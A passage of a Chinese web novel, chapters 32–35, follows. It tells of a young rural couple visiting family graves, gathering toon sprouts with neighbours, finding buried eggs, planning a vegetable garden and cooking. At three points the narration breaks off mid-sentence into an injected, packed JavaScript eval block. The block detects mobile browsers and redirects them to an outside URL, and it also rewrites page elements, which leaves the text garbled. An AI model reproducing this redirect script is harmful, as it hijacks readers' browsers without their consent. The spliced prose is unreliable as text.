吃过饭,稍坐一会儿,两人就要走,用的还是昨天的理由。 梅丛殊不多阻拦,忙完妹妹的婚事,他也有不少事要忙。 向园嘱咐他,“表哥,你找个靠谱的事情做吧,别再跟着他们瞎混了。” 梅丛殊点头,“我知道的。” 原耕耘带着向园离开,走出一段路,问她,“去看看外婆?” 向园看过来,有惊讶也有欣喜,“可以吗?” 村里没有明确的忌讳,但大家默认新人不宜往坟上去,她不介意,因为那是她最亲的外婆。原耕耘不介意,她发自内心的感激他。 原耕耘当然不介意,他本打算五七再来一趟的,但想想,梅大舅他们那天可能也会到坟上去,两边撞上就不好了。 那就今天去吧,跟长辈们说说,让他们放心。 原耕耘绕了两步,去附近的货郎摊上买了香烛纸钱,一壶酒水和一碟米糕,牵着骡子往山脚去。 外婆的坟就在山脚处不远,没有挨着外公的。她是后妻,早交代过,不要挨着他们埋。 原耕耘点香烛、烧纸钱,向园就跪在一边跟外婆念叨。 她没有哭,外婆也不喜欢看她哭,嘟嘟囔囔说着,只说婆婆娘如何如何好,耕耘哥哥如何如何好,他们做了什么吃,他给她买了什么。她如何想念她,吃包子的时候想,吃蹄膀的时候也想……丛殊表哥回来了,他瘦了好多,但是成熟了,也沉稳了。他给她买了好多东西,还给她买胭脂香粉,不过她喜欢那个盒子,就没舍得用。 如果是五年前的向园,她一定不会这样唠唠叨叨,她只会哭,只会觉得他们抛弃了她。 因为爹娘过世时,很多人就是这样说的。 他们以劝慰的口吻,说着残忍的话。 “他们没福气!” “好人不长命!” “他们都狠心抛舍了你,你记挂他们干什么!” “好好过日子吧,父母子女的缘分就这么长,缘分尽了,他们就走了,活着的人还是得好好活着。” 向园不明白这些话,她只是更伤心,整天晕乎乎的,不辨世事。直到外婆说,人都是要死的,过个七八十年,她就能与他们重逢。 而七八十年是多久呢,她那时也不过十一岁,七八十年就是她再过七八个这样的十一岁。那样想,就快很多。 她并不觉得十一年是多漫长的时光,一眨眼就过去了。所以她也不觉得七八个十一年是多漫长的时光,如最初那十一年一样,也会一晃眼就过去。 只是她有时会想,她不用活那么久,不要七八个十一年,有个三五个十一年,甚至两三个十一年,能让她把想体验的都体验过,也就够了。 每过一年,离爹娘就更近一些,好像也不值得难过。 现在,她想的是,如果有一天再见到他们,一定要把耕耘哥哥介绍给他们认识。 那她就要和耕耘哥哥活一样的命数,长短都不要紧。 原耕耘烧了纸钱,也跪在向园旁边,跟她一起磕了三个头,只说了一句,“我会照顾好她的。” 向园才没忍住,落下泪来。 很快又擦干,她不哭了,哽咽道:“我、我会好、好好过日子的。” 两人相伴离开。 下山时,向园往原家庄看了一眼,又去瞅原耕耘。 她想爹娘,想外婆,不知道耕耘哥哥会不会也想爹。 原耕耘不想,“明年再来。” 他爹寿终正寝,一辈子没受过罪,走的时候也无牵无挂,不需他来惦念。 他每年也只在清明节后一天去坟上祭一遭。明年,他就带着向园一起去。 回去的路上,原耕耘又去铺子里买了香烛纸钱等物。 他本来想明天再去岳父岳母坟上祭扫的,可明天去,到时她又要伤怀一场,不如今天一道去了,明天就带她做些轻松好玩的事情。 两人归还骡车,顺着来时的路往回走,先去的坟上。 向家祖坟在竹坡坡旁的一个山岭上,那山是坟山,山上坟多,除了祭扫不会有人上去。 之前几年,都是梅表哥代她回来扫墓。 几座坟上干干净净,向园成婚前才来过,那时就好好清理过一遍。 依旧是原耕耘摆祭品,燃烛烧纸,向园念叨。 这里的都是直亲,是向园的先祖,原耕耘一一祭酒,最后和向园一起叩头,还是那句话,“我会好好照顾向园。” 向园也还是那些话,多了两句,一句是说,“我刚刚去瞧过外婆”,一句是问,“你们跟外婆遇见了没”。 自然没有人答,但坟上松柏长青,春秋常茂,一代代人死去,就有一代代人新生,没有谁会永远停留在世间。 冥冥之中,该相遇的都会相遇,该重逢的也都会重逢。 …… 回到家,才申时左右,向园想着要赶紧把给原耕耘的针线做出来,这本来该下聘当日就回给他的,但是那时实在赶不及。 她重新拿起针线,先把鞋子纳出来,腰带做出来。衣服今天先裁个样儿出来,她每天抽空缝一点,两三天就能做好。 原耕耘跟她说了一声,去竹坡坡那里,取浸在山泉里头的兔子皮。 山泉和水塘连通,水塘和稻田连通,顺着水塘往上走一点就到。 兔子皮是三白捕获的那只兔子的皮,浅棕褐色,颜色驳杂,不是很亮,但是兔毛很长,蓬松柔软,收拾好了做袄子做背心都是好的。 这个原耕耘打算炮制好了,给向园做个手套的或者裹脚的,冬天用暖和。 要做袄子做背心,等他秋天再猎一些好皮子,毛发亮眼的,或者颜色纯净的,才衬得上她。 皮子早用盐腌制过,已经剐去血污和附着的碎肉、油脂以及筋膜,又系在急流之处冲刷了几天,晾干就能进行下一步了。 原耕耘把皮子捞出来,顺手把皮子旁边的小竹篓也捞出来。 竹篓编得密实,只有怀抱大小,里头装的是鸭翎。 这个也有人收,价格不贵,通常看成色,成色好的才有人收。 怎么算成色好,既要干净,又要颜色亮,还要质地轻柔细密。 收翎毛的有一把尺,以尺为准,羽轴足够长,羽枝足够软的是一个价,其它的又是一个价,价格不固定,左不过在一文钱上下浮动。 他们不光收鸭翎,还收黑雕翎、白雕翎、雉鸡尾翎和雁翎。 黑白雕翎比鸭翎就贵得多,十四五文一根都是常价。 雉鸡尾翎也贵,贵的时候八文一根,便宜的时候六七文一根。 雁翎便宜,跟鸭翎差不多,甚至更便宜些,两根一文钱。 原耕耘遇到大雁也不会拔毛,通常他都猎活的,很多人家愿意买这个。 三书六礼,讲究古礼的人家,纳采、问名、纳吉、请期和亲迎这五礼都要带上大雁,所以市上大雁只有买不到的,没有卖不出的。 比起活雁的价格,雁翎就不值什么了,拔秃了也不好看。? 因为有人收,所以每次猎到野鸡野鸭,原耕耘都会拔了翎毛留着,攒下来也是一笔钱。 现在小竹篓里装的就是鸭翎。 一只野鸭子每侧翅膀上有十六根翎毛,尾巴中央还有十根翎毛,加起来就是四十二根。 这四十二根,合乎要求的,往往不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16285222|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过三十根左右。 这里头是大黑、二黄、三白给向园的见面礼的四只鸭的翎毛,都冲干净了,回去晒干,分大小长短放着,回头等攒得够多了,再拿去卖。 原耕耘把兔皮和鸭翎放到晒架上,掂着锄头和铁锹去隔壁刨地。 向园抱着针线筐跟上,三只狗也跟上,队伍瞬间就壮大起来,看着挺有气势。 原耕耘也不想让她离了眼,就牵着她过去,让她坐在芭蕉树底下缝。 大黑又守着凤尾蕨乌龟盆儿去了。 向园这才想起来,“要喂它吃点什么?” 这两天都没过来这边换水,难得乌龟还活得好好的,在盆里游来游去。 乌龟要吃什么,原耕耘也不知道,他只知道水质好的井里,乌龟能活很久,但井里有什么,苔藓,落叶,可能还有些泥沙? 乌龟进了井就出不来了,大黑看得紧,他们这样养,迟早要把乌龟养死。 “要不丢到池塘里?” 到池塘里,能吃的东西就多了,乌龟爱吃什么吃什么。 至于大黑,乌龟愿意游到岸边跟大黑叙旧是它的事,不愿意他们也没法。 向园觉得好,“我找个破瓦盆,一道丢进去,算是给它安的家,它要是想大黑,肯定还会到瓦盆里来。” 原耕耘:“……行吧。” 这不急于一时,一会儿他们出去,顺手就做了。 向园一边做绣活,一边给大黑嘟囔,让它珍惜时光,等回头放了乌龟,再想找它,乌龟不上岸,大黑就得跳水塘里找。 大黑也不知道听懂了没有,反正眼睛眯着,也不知是因为太阳底下太暖和,还是因为凉阴里太凉快。 太阳落山前,原耕耘刨出来了一分地,加上之前向园和梅丛殊刨出来的一块,这地就开了一大半了,剩下一点,明后天就能弄完。 向园想,育苗得要大半个月甚至一个月工夫,现在育苗估计出得不会太好,等育成再种就晚了,干脆下次圩上他们看看有没有卖苗儿的,买一些回来种。 或者去村里问问。村里肯定有不少人家留种育苗,育苗不确定能成活多少的话,大家普遍都会多下一点种子,有些出得好的,自家种不完,就会拿去圩市上卖。 正好杨可真约她明天一起去打香椿叶,她明天就跟她问问,看谁家育的苗多,种子多,他们买一些或者拿东西换一些,就足够种了。 原家这边的菜地里种了一大片青蒜,剩下一半是油菜,只边上留了一点地方,种的葱、韭、莴苣和豌豆。 去年是种了菜的,樊云英在就要种菜,但去年她嫁了,今年春上她回来的时候,地里撒满了油菜,她就是想种,也没地方种。 她还寻思,在院子东边开一块地种黄瓜、茄子、辣椒什么的。 原耕耘不想让她辛苦,反正他随便吃些什么都能混过去,就是有菜,他也不太能做得好,干脆就不种,想吃了买一把,或者山里随便薅点什么叶子、菌子、笋子就能当菜吃。 山里他也开了半亩地出来,今年种的也是油菜,还有三分地的春玉米和两分地的土豆。 等油菜和玉米收了,正好接替种上红薯,土豆那块地还种土豆,好种也好收。 他说向园都听着,但是又想笑。 她终于发现,无所不能的耕耘哥哥粗糙马虎的一面。 他一定没有一个人过过没有蔬菜的夏天,不知道大热天的吃一根脆黄瓜多清爽,也不知道夏天不吃炒茄子多么遗憾,更不知道凉拌番茄湃在井里多冰多酸甜,还有如果不晒菜干,不腌酸菜咸菜,冬天会有多难熬。 接下来的三个季节,她一定要让他大开眼界。 33. 第 33 章 向园心里存着事,就把西洋画这茬忘了。 原耕耘乐得她不记得,也不提醒,自然也不做什么能让她想起来的动作,这一夜安然无恙地过去了。 第二天一早,向园吃过饭,跟原耕耘摆摆手告别,说要去找杨可真。 原耕耘:“……找她有事?” 向园迷糊了,“我昨天没跟你说?她说我今天要是有空就去找她,我俩一起去打香椿芽。” 她想起来了,她刚想跟他说的时候,耕耘哥哥拿了雪片糕给她,她就忘了这件事。 原耕耘丢下锄头,找了个背篓和钩镰,“走吧,一起去,正好我要找周二哥。” “耕耘哥哥,你不去山上了?”她记得原耕耘昨天说过要上山。 原耕耘:“昨天去过了,今天就不去了。你们知道哪里有香椿芽?” 向园这才明白,原来他那时候说的去山上看看,是去看她爹娘。 “耕耘哥哥,你真好!一定是爹娘和外婆保佑我,我才能嫁给你。”向园抱住原耕耘的胳膊晃荡着撒娇。 她这话说得真心实意,虽然不是原耕耘想要的那种真心,他听了也觉得高兴,顺势就牵住她的手,叫上二黄和三白往外走。 昨天把乌龟放水塘里了,大黑依旧上心,今天留它看家。 向园锁了门,跟原耕耘说话,“我们不知道哪里有香椿芽,杨姐姐说她知道的地方,已经被打秃了,所以我们今天往附近找找,找到就打一点,找不到她就带我转转。你找周二哥什么事?” 原耕耘没什么事,只是不放心她一个人出门,更不想同她分开而已。 “周二嫂去打香椿,周二哥肯定要跟着的,我怕我不去,你和他们呆得不自在。” 这样啊! 向园懊恼,“早知道我昨天就跟杨姐姐问清楚了。” “咱们一起不也挺好。我跟他们几个约好的,歇过这几天,等十五再往山上去,今天明天本来也没别的事儿,后院那块地,下晌两个时辰就能翻完,不耽误工夫。” 向园想想也是,“那咱们今天顺便看看,有没有谁家菜苗多,要卖的,咱们回头翻好地,直接买一些种上。要是村里寻不着菜苗,咱们得趁明天圩日买一些。” 种菜前后差几天不算什么,但是总不能别家都吃上菜了,他们这边还没熟。所以天气合适的情况下,越早种上越好,现在种就不算早了。 原耕耘点头,“南瓜、丝瓜、黄瓜、冬瓜、葫芦、豇豆、扁豆这些种子家里都有,雪里蕻我在东边地里撒过一片,只是那地翻得浅,不一定出得好。苋菜和空心菜种家里应该也有,不过去年没留,种子是前年的。芋头东边种了一片,足够今年吃的。现在就差些辣椒苗和番茄苗。周婶子就是村子里数一数二会种菜的,一会儿我问问二仓,要是他家没有,估计别家也不会有了,咱们明天就去圩市上买一些。” 向园点点头,一边道:“还是我来问杨姐姐吧,家里种什么菜,周二哥不一定知道。” 这倒是真的,不过…… “你要怎么问?”向园有的时候过于单纯,原耕耘把她当成未经世事的小孩儿,什么都想教一教,也什么都想参与。 向园:“我就问杨姐姐知不知道谁家有,然后再问她方不方便帮我牵线,她家有的话她肯定会直说,没有她也会告诉我找谁能买到。我看咱们买一点辣椒苗和茄子苗,嗯,苋菜和空心菜也再要一点吧,种子隔一年,出得就不好了。” “好。”原耕耘看着她笑了。 向园真的很乖,很聪明,又很可爱,没有人会不喜欢。 说话间,就到了村东头。 周家刚吃完朝食,他们家也是篱笆院,篱笆门外有一棵大榆树,向园站在树底下,刚好看见杨可真正端着碗筷从堂屋出来。 “杨姐姐!”她喊。 “这么早,吃饭了没?我还想着你会晚点儿呢,快进来!” 杨可真一边往这边走,一边道:“你进来坐着等我会儿,我收拾好碗筷咱们就走。” “我们吃过了,不急,你慢慢收拾。”向园跟原耕耘进了院子。 杨可真这才瞧见,向园身后跟着原耕耘,和两只大狗。 向园又问,“周二哥在家吗?九哥找周二哥。” 原耕耘:“……” 他只好点头。 杨可真没忍住笑,“茅房呢,等会儿就出来了,你们先坐会儿啊。” 她可想知道,原耕耘找周二仓是什么事,这要不是跟向园有关,她以后就叫杨真可。 说话间,周满仓和周家婶子也出来了。 周满仓先去找狗,问原耕耘怎么不把大黑带出来。 向园跟周婶子打招呼。 他们成亲,周家一家子都过去帮忙了,她之前就跟周婶子打过照面,认得人。 周婶子五十来岁的年纪,应该是个爱笑的,眼角纹路很深。 她笑呵呵地拉着向园进屋坐下,“以后常过来玩儿,我听可真说她姑表弟是你舅表哥,你说这多巧的事儿。九郎常进山里,你一个人在家孤得慌,就往这边来串门,婶子就喜欢家里热闹。” “嗯嗯。”向园点头。 院子里,周满仓一边逗狗,一边问原耕耘,“九哥,你找我二哥有事儿啊?” 他很想知道是不是因为村里大家都在说的压箱底儿。 原耕耘不告诉他,只问:“周二嫂去摘香椿,周二哥都不去帮忙的?” 周满仓想不通,摘香椿不都是小媳妇儿爱干的事儿吗,他们要是跟着去,大家就要笑话了。 “一个大老爷们儿嘴馋成这样”都是左邻右舍挂嘴边的话。 “九哥,你要跟你媳妇一起去啊?”周满仓挠头。 “你要叫嫂子!”原耕耘瞪他,“我当然要去。你二哥真不去?” 他这样问,配合上很耐人寻味的眼神,周满仓就觉得他二哥不去确实不大对。 “香椿树那么高,他就让周二嫂一个人举着钩镰割,要是镰刀头掉下来砸到人怎么办?他就这么放心?” 周满仓马上觉得,打香椿芽这种累活儿确实不该让小娘子们干。 原耕耘还没说完,“反正我是不放心的,钩镰这么沉,我娘子细胳膊细腿的,我可不放心让她举半天就为了打一把香椿芽,我肯定要跟着的。你问问周二哥去不,别回头我去了,周二哥不去,周二嫂心里肯定不舒坦。” 周满仓觉得她二嫂没有这么多愁善感,但是这不妨碍他觉得原耕耘说的有道理。 “我这就去问问我二哥。”他往茅房边去。 原耕耘在他背后补充,“周二哥要去,就要把话说漂亮,这样周二嫂才会高兴。” 周满仓摆摆手,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16296019|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放心放心!” 他觉得要是他哥不愿意去,他就自己跟着九哥去得了,让嫂子和九哥家的嫂子在家歇着,他俩出去打一筐回来炒鸡蛋吃。 被说好吃嘴他也认了,反正他本来也爱吃,总不能他们闲着,啥活儿都还要堆到嫂子和娘头上,那也太不像话了。 周二仓蹲坑蹲得正舒坦,就听到弟弟幽灵般的召唤。 他尿都吓得憋回去了,谁拉坑家里其他人不是跑得远远的,傻弟弟今儿个竟然往附近凑,真是奇了。 “你有事儿?” 周满仓如此如此这般这般说了一通,总之一句话,“你一会儿和嫂子一起去摘香椿啊!那东西又不是她一个人想吃,咱们要吃的话,都得参与劳动。” 周二仓本来就打算跟媳妇儿一起去的,是因为他媳妇儿和九郎媳妇儿约好了,他才不好去的。 他琢磨着,一会儿要不要去原家喊上九郎,大家都跟着媳妇儿的话,他就不尴尬了。 他刚出茅房,一身齐整行头的原耕耘笑着跟他打招呼。 “周二哥,我听满仓说,你要跟周二嫂她们一起去打香椿芽?那我也一起去!正好我知道哪个地方有。” 周二仓:“……” 总感觉哪里不对劲儿。 他仨跟着,向园和杨可真就像是凑数的,俩人啥也不带,一路上说说闲话,顺带对路旁的小花野草大树指指点点。 原耕耘没说空话,他确实知道哪里有香椿。 那地方真是好地方,香椿树不仅多,长得还矮,红紫色的芽儿嫩生生的,好多都不怎么用得上钩镰。 向园和杨可真刷刷刷掰矮的,他们仨就够高处的。 两人举镰从树上打,一个人在树下捡。 原耕耘和向园两个人吃不了多少,就少分点,周家人多,就多分点。 饶是如此,等把这一片全部打完,也打了三大筐加两篮子,压得很瓷实。 向园和杨可真还发现一片鸭儿芹,两人各自拔了一把,折了根藤条缠起来,这就够炒一餐的了。 几人背着背筐回家去,还得走东头,向园要跟着杨可真拿菜苗儿。 这就问到了?原耕耘很惊讶。 向园还在跟杨可真说话,“杨姐姐,我有空就给你送来,山芝麻叶包包子可香了,我们那时候打的鲜叶子,过了一遍水,切碎了包的,就很好吃。用干菜包也特别好吃,多了一种更浓郁的香气,跟梅干菜肉包味道还不太一样,你一定要试试。” 杨可真吃过那包子,今天听她说起,馋得流口水,直想现在就能吃到嘴里。 “妹子,你别跑了,你下晌在家不,我去找你拿好了,拿回来我今天晚上就包。” 向园看出她的馋意,竟觉得志同道合,“那你一会儿就跟我回去拿吧,干菜得多泡一会儿,你晌午用热水泡上,到傍晚就差不多了,正好能赶上夕食吃。” “好!那你们也别绕远了,直接回去吧,这会儿时间还早,等我回去拔了菜苗儿一道给你送去。”杨可真也是个直率的。 向园看看天,虽然还不到晌午,太阳却很烈,“那好吧,杨姐姐,你一会儿记得带个草帽,这日头太毒了。” 杨可真摆摆手,“没事儿,要是太热,我就让满仓去,他不怕晒黑。” 向园点头,“也行!” 周满仓:“……” 34. 第 34 章 到蒲家塘附近,基本就看不见村人往来了。 原耕耘一路揉捏向园的手,越揉瘾头越大,他想亲她,狠狠亲。 向园丝毫不觉,跟他说:“我问杨姐姐知不知道谁家有,她说她家就有很多,周婶子育了一小块地,该种的已经种上了,剩下的苗儿还在地里,让我尽管去拔,还不要我给钱,也不要我拿东西换。我觉得不好,就说咱们晒了山芝麻叶,很好吃,给她送一些,让她包包子吃。” 刚才原耕耘就听见了,此时再听,依旧心软得厉害。 他盼着周二仓赶紧来,把他的山芝麻叶拿走,他们好歇个午觉。 当初带下山的山芝麻叶就不少,他们包包子用了一点点,剩下的向园都晒在露台上,后来表哥来,吃过一两次,给他带走一些,又给娘带走一些,如今大概还有三分之一。 向园全部装好,打算都给杨可真。 山芝麻叶长得快,前一批捋完,要不了几天就又长出来新叶了,向园想,过几天他们可以再上山捋一次。 到三月底,差不多还能捋两回,焯水晒干,一年都吃不完。 还有香椿芽,鲜的顶多吃一餐两餐,一两把就够了,剩下的也要焯水晒干,干香椿芽不管是蒸包子还是炒腊肉都好吃,做蒸菜铺底儿也好吃。 她还可以做些香椿酱,多放些盐,存在罐子里封得严实点,也能从年头吃到年尾。 到家,向园收拾好东西,兴致勃勃准备做晌午饭,突然想起一件很重要的事:他们家没有鸡蛋。 家里这几只老母鸡实在是懒,别家的鸡二月里就开始下蛋了,这几只到现在每天只听见它们咯咯哒叫唤,不见鸡蛋。 向园怀疑,是不是母鸡抱窝了,她去柴棚里看。 柴棚在院子东边,里头一半空间被柴火占满,靠墙的角落里有一个破旧的鸡笼,但是母鸡从来不带小鸡娃和鸡崽儿进去卧。 剩下一半空着,地面铺了一层稻草,它们晚间更喜欢在这儿休息。 柴棚外是一个很大的沙堆,尖尖处的沙子下滑,使得附近一整块地都铺了一层厚厚的白沙,白天母鸡就带着小鸡崽儿在这块活动。 沙堆挺干净的,每隔一段时间,原耕耘就会把脏了的沙子铲到东边地里,去河畔挑新沙回来。 如今这堆白白的、干燥松散的沙就是今年开春新换上的。 向园走到近处看了两眼,觉得有点奇怪。 老母鸡抱窝的话,会赖在窝里不出来,不下蛋也要霸占着鸡窝,一般不爱活动。 但现在五只老母鸡一个不少,都带着小鸡崽儿在沙地上撒欢,根本不像抱窝的样子。 一只芦花鸡还在叨小沙子磨嗉子。 “在看什么?”原耕耘走过来问。 “为什么咱家的鸡还没开始下蛋?”向园蹲着,试图通过观察老母鸡的行为,判断它们不下蛋的原因。 原耕耘也觉得奇怪,“或许是没有大公鸡?” 鸡都是她娘养的,他记得往年都有两只大公鸡的,也有鸡蛋吃,今年不下蛋,可能是因为没有公鸡? 向园很惊奇,“母鸡天生就会下蛋,不需要公鸡的,只有孵小鸡崽儿才需要公鸡。” 至于怎么需要的,向园也说不清,她只知道,有些蛋是公鸡配合着下的,在暗室里用烛光照,能照出暗影,这样的蛋才能孵出来小鸡。 “我知道了,肯定是因为刚孵过小鸡,所以不会下蛋。”向园恍然大悟,她都忘了这茬了,“看来是我误会它们了,它们还是很勤劳的。” 孵小鸡需要二十一天,一般会在春天天气暖和或者夏秋温度适宜的时候进行,家里这些小鸡崽儿看着才一两个月大,那说明一过年老母鸡就开始孵蛋了。 这二十多天不吃不喝,确实需要很长时间来恢复身体。 向园以前预估过,天气暖和,勤喂些好食儿的话,孵蛋的母鸡一个月就能恢复过来,要是天气寒冷,时间就要长些,得两三个月才能恢复。 它们才亏了身体,这段时间得好好补补。 原耕耘:“……” 他不得不解释:“小鸡崽儿不是孵的,是买的。” 这几只鸡年前就不怎么生蛋,他娘就是想孵小鸡还要换些种蛋,还得二十天的工夫孵,所以直接去村里找人买了这些大小鸡崽儿。 他都觉得这鸡有些没良心,亏得向园见天捉虫喂它们。 “要是再不生蛋,过几天就宰了。”原耕耘恐吓道,正好得给向园补气血,配着红枣桂圆炖,大补。 向园点头,也跟着吓唬,“那咱们正好做鱼圆鸡汤。” 两人愉快地做了决定,老母鸡恍若未闻,依旧伸着爪爪扒沙。 原耕耘朝向园伸手,要拉她起来,向园刚把手递过去,一晃眼,看见芦花鸡黄爪子下有什么白生生的。 “耕耘哥哥,你看!”她拽拽原耕耘的大掌。 “你看,鸡蛋啊!”随着芦花鸡的动作,沙堆上冒出一个圆尖儿的,赫然就是个鸡蛋。 向园兴奋,蹑手蹑脚走过去,芦花鸡吓得扑棱棱飞起。 她小心翼翼扒开沙子,把鸡蛋取出来,乐道:“原来不是不下蛋,是把蛋埋起来了啊!” 原耕耘:“……” 他捞过一旁的竹搂耙,顺着沙地扒拉,很快就翻出好几个鸡蛋来,有的已经被踩裂了。 向园庆幸,幸好她怕踩到鸡屎,每次都沿着墙边走,她又去稻草堆和鸡窝里翻,也翻出来十来个,无一例外都被用稻草和柴火埋起来了。 一下子就翻出来二十多个鸡蛋,这比每天卡点收一个还让人高兴。 “估计就这几天开始下的。”向园把草窝原样摆好,记下位置,下次收鸡蛋就知道该往哪走了,“鸭和鹅应该也快了。” 向园的鸭喂得好,一天能下一个蛋,鹅不行,鹅蛋大,要两天才能下一个,除非是那种喂了两三年的老鹅,才有可能一天下一个。 原耕耘递给她一个小圆筐装蛋,“晚点我把水塘那个缺口补上,把鸭鹅撒进去,它们在里头自己就能捞食儿吃,不用多喂,下蛋就很勤快了。” 向园点头,想起她的白鹅大军,她最多的时候可是喂过十几只鹅呢,现在虽然两只都是母鹅,但要想凭它们繁衍出很多只来,还要很长时间。 “耕耘哥哥,等四月份,我们再抓些鸭崽儿鹅崽儿养吧。” 四月份逮雏崽儿,喂上几个月,秋天就能下蛋了。到那时,天气逐渐变冷,鸭蛋鹅蛋能存下来,还能腌一些咸蛋和变蛋,这样冬天就不缺蛋了。 喂得多的话,还能拿去卖。 最重要的是,撒在水塘里,它们自己就能觅食吃,喂起来成本就很低了,肯定比以前养还要划算。 向园以前养的,也要放去河里沟里撒撒欢,但是她得跟着。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16307002|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >梅家小院附近没有河沟水塘,她要放,就得走一段距离,要么往西边云溪湾去,要么往东边山沟子去。 这么点工夫,根本不够它们在外头吃饱,回到家早晚还要再喂一顿。 向园以前放鸭放鹅的时候,它们在水里吃鱼吃虾,她得拿着小网捞鱼捞虾,还去水沟里捡河蚌和螺蛳。 鸭鹅嘴巴厉害,她只需要用石头砸开,它们自己就能从碎渣里捡肉吃,吃这些长肉快,下蛋也勤。 现在门口就有现成的水塘,刚好用上,稻田里也能撒,得等秧苗长大一些,不会被它们啄倒的时候。 原耕耘无有不应,她领着一群鸭一群鹅,威风八面、斗志昂扬的样子,他见过不只一次,确实挺有气势的。 “明天就去买。”他道,“晚点咱们把这块清出来,围个鸭圈。” “鸭和鹅,可以圈在一起吧?”他不确定地问道。 鸭和鹅,白天可以撒外边,晚上还是要赶回来的。 “可以圈一起,它们不打架。围到菜园外边吧,这房子中间不是有一丈宽的空地吗,砍些竹竿或者树枝,把北墙围上,南边竖个栅栏门,圈到那里去。” 向园说的是原家茅屋和向家医庐中间的一片空地,两家北墙是对齐的,中间有一丈宽的空,前后长九丈。 地方宽敞,唯一的问题是,医庐墙外有一道排水沟。好在水沟不大,也就一尺深,一尺宽,向园觉得,就算赶鸭子赶鹅,它们应当也掉不进去。 “掉进去也没事,都会水,顶多顺着水沟往下游一点,到水塘那里,它们还能不会拐弯?” 牲畜也聪明的,没有哪个会笨到不往干净的、食物丰富的水塘里游,反而往浅泥沟里去。 而且,那边现在没住人,水沟里基本上都没水,怕掉下去的话,回头找些石板往上头铺一层,就万无一失了。 裂口的鸡蛋有四个,向园直接拌到饭里喂狗。 本来想一人一个随便它们怎么吃的,但多出来的一个给谁都不好,干脆就拌一起,生鸡蛋拌饭,狗吃了不上火。 其实拌到饭里,也不能算是生鸡蛋了,蛋液搅得匀薄,饭是热的,很快就把蛋液烫熟了。 趁着做饭前这一阵功夫,向园把香椿芽淘了一遍。 大锅蒸饭,蒸好饭焯烫香椿芽,香椿芽好焯,在开水里烫个几十息就成。 锅洞里填的大柴火,不用看火,向园焯水,原耕耘晾晒,两刻钟功夫,一大筐香椿就烫完晾好了。 留出一部分晌午吃,再留一部分做香椿酱。 向园炒鸡蛋香椿芽的时候,周满仓终于来了,原耕耘直接把一大篓山芝麻叶给他。 周满仓也很急,“这一捆是尖椒,这一捆是朝天椒,这一捆是番茄,还有这个茄子苗儿,我娘今年也下了不少,说是栽苗结得更好。这个我二嫂说是卷心菜,这个是芹菜,这是胡萝卜。这几包都是叶菜,有瓮菜,苋菜、芥蓝、茼蒿、莙荙菜、苦菜、芫荽之类的,我也分不清,反正现在都能种了,你看不够再来拿啊。” 说完,丢下菜苗和种子就跑。 出门前,嫂子刚把香椿鸡蛋液倒锅里,他是闻着香味奔来的,到这儿,又受到一次暴击。 不行,他得跑快点,再吃不到嘴里,口水都要流成河了。 原耕耘:“……” 看来还得再多开点地,这么多种子,那点地估计不够种的。 35. 第 35 章 向园今年头一回吃香椿,原耕耘也是。 做了一凉一热两个菜。 热的香椿芽炒鸡蛋,一把椿芽切得细碎,拌匀在蛋液里。向园放了整整一勺油,油热下锅,炒出来的鸡蛋松散滑嫩,蛋香味和椿芽香味完全激发出来,浓郁鲜美。 凉的拌椿芽,椿芽切小段,加盐、麻油、香醋、又加了一点蒜汁和辣椒油,简单拌匀吃起来就很爽口了。 成亲时炒的花生还有,向园抓了一把花生仁,碾碎吹散红皮,加进去,味道立马又不同。 椿芽肥厚脆嫩,花生香酥可口,酸酸辣辣的,比香椿炒鸡蛋还清爽一点。 原耕耘舀着拌饭吃,吃了三碗。 向园看见他吃得满足,心里也觉得高兴,“我晚上熬香椿酱,熬好了蒸一锅馒头或者窝头,配着吃,又香又辣,保准好吃。” 原耕耘点头,她做的东西没有不好吃的。 他先向园一步起身收拾碗筷,“锅里我刚添了水,你洗洗手脸,去睡一会儿,我洗完碗就过来。” 向园习惯煮完饭炒完菜就把锅洗出来。 做完饭,灶里有余火,锅能洗得比较干净。洗完后,再添两瓢水,余火就能把水烧热,吃完饭再洗碗就很方便,尤其冬天天冷的时候。 而且两样分开洗,不管是洗锅还是洗碗,都不会让人觉得太麻烦。 除了洗衣裳,向园不喜欢做繁杂琐碎的清理性工作,尤其是刷锅洗碗这样的活计,把锅和碗分开洗,都用不了多长时间,她就不会太讨厌。 原耕耘干脆就不怎么让她洗碗。 向园喜欢原耕耘有方方面面的原因,但最冲击她的一幕,还是樊云英走头一天,他来帮她挖山药,吃完饭还帮她洗碗的情景。 原耕耘沉稳可靠,向园愿意嫁给他,依赖他,跟他过日子。 但是因为有这一幕,向园嫁给他的时候满心欢喜,对未来的生活充满期待。 “耕耘哥哥,我来洗,你先去洗漱歇着,我一会儿就进屋找你。” 